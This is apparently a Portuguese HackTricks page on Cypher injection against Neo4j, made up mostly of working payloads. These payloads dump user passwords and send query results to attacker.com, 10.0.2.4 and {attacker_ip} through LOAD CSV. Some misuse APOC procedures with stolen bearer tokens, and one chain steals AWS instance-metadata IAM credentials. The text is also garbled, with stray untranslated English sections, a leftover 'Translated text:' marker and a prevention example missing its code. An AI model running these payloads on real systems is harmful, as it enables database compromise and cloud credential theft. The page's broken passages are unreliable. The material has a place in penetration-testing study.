* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Quando encontramos uma injeção, a maneira de explorá-la depende da **localização dentro da consulta**. Abaixo está uma tabela de diferentes locais de injeção e exemplos de exploração:
| <p><code>MATCH (o) WHERE '{input}' = o.Id</code><br><code>MATCH (o) WHERE {input} in [diferentes, valores]</code></p> | `'=' {…} WITH 0 as _l00 RETURN 1 //` |
1. A razão pela qual UNION é necessária é que, se a declaração MATCH não retornar nada, o restante da consulta não será executado. Portanto, todas as coisas nefastas que podemos fazer lá simplesmente não serão executadas.
2. Adicionamos "RETURN 1" antes da UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a consulta ser executada.
Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga útil tentar definir uma variável que já existe, a consulta falhará ao ser executada.
Naturalmente, se conhecemos a consulta e o banco de dados, nenhuma dessas técnicas é necessária. Podemos até manipular os dados retornados para, por sua vez, manipular o processo em vez de apenas abusar do servidor.
Cypher is a query language used by Neo4j, a popular graph database. Cypher injection is similar to SQL injection, but instead of injecting SQL code, we inject Cypher code.
### Basic Injection
The most basic injection is to inject a `MATCH` clause that returns all nodes in the database:
```
MATCH (n) RETURN n
```
### Retrieving Sensitive Information
To retrieve sensitive information, we can inject a `MATCH` clause that returns the desired nodes and their properties:
```
MATCH (n:User) RETURN n.username, n.password
```
### Modifying the Database
We can also modify the database by injecting a `CREATE` or `MERGE` clause:
```
CREATE (n:Malware {name: 'WannaCry'})
```
### Preventing Injection
To prevent Cypher injection, we can use parameterized queries. Here's an example:
In this example, the `$username` and `$password` variables are replaced with the actual values when the query is executed, preventing injection.
```
Translated text:
```
## Injeção de Cypher (Neo4j)
Cypher é uma linguagem de consulta usada pelo Neo4j, um popular banco de dados de gráficos. A injeção de Cypher é semelhante à injeção de SQL, mas em vez de injetar código SQL, injetamos código Cypher.
### Injeção Básica
A injeção mais básica é injetar uma cláusula `MATCH` que retorna todos os nós no banco de dados:
```
MATCH (n) RETURN n
```
### Recuperando informações sensíveis
Para recuperar informações sensíveis, podemos injetar uma cláusula `MATCH` que retorna os nós desejados e suas propriedades:
A primeira coisa que um invasor deve verificar é **se o APOC está instalado**. O APOC (procedimentos incríveis no Cypher) é um **plugin extremamente popular**, oficialmente suportado pelo Neo4j, que melhora muito suas capacidades. O APOC adiciona muitas **funções e procedimentos adicionais** que os desenvolvedores podem usar em seu ambiente. Os invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados.
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
*`apoc.cypher.runFirstColumnMany` - uma função que retorna os valores da primeira coluna como uma lista
*`apoc.cypher.runFirstColumnSingle` - uma função que retorna o primeiro valor da primeira coluna
*`apoc.cypher.run` - um procedimento que executa uma consulta e retorna os resultados como um mapa
*`apoc.cypher.runMany` - um procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente.
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
No **Neo4j 5 `dbms.listQueries` foi removido**. Em vez disso, podemos usar "SHOW TRANSACTIONS". Existem duas limitações principais: **as consultas SHOW não são injetáveis**, e ao contrário de `listQueries`, podemos **ver apenas a consulta atualmente executada** na transação e não todas elas.
Se o **APOC** core estiver **instalado**, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar **`apoc.cypher.runMany`** para executar SHOW TRANSACTIONS, porque ao contrário de outras funções e procedimentos apoc.cypher, ele é executado em uma transação diferente.
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
A função integrada **`keys`** pode ser usada para **listar as chaves das propriedades** (Isso não funcionará se um dos campos for uma lista ou um mapa).
Esses procedimentos **foram removidos no Neo4j 5.** Em vez disso, podemos usar **`SHOW PROCEDURES`** e **`SHOW FUNCTIONS`.** Consultas SHOW não podem ser injetadas.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
```sql
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós:
Usando o APOC, é possível recuperar os nós, incluindo os hashes. Apenas administradores podem fazer isso, mas na **edição gratuita do Neo4j, há apenas um usuário administrador e nenhum outro usuário**, então não é incomum se encontrar executando como administrador.
Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos não restritos no arquivo de configuração (dbms.security.procedures.unrestricted). Isso é mais comum do que se pensa, e pesquisar o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor "apoc.\*", o que permite todos os procedimentos APOC.
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
**`LOAD CSV`** não pode fazer nenhuma dessas coisas, mas podemos usar **`apoc.load.csvParams`** para obter o token e a função, e depois **`apoc.load.jsonParams`** para obter as credenciais em si. A razão pela qual usamos csvParams é que a resposta não é um JSON válido.
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
No Neo4j >= v4.2.0, é frequentemente possível **injetar Unicode usando "\uXXXX"**. Por exemplo, você pode usar este método se o **servidor tentar remover caracteres** como: ', ", \` e assim por diante.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).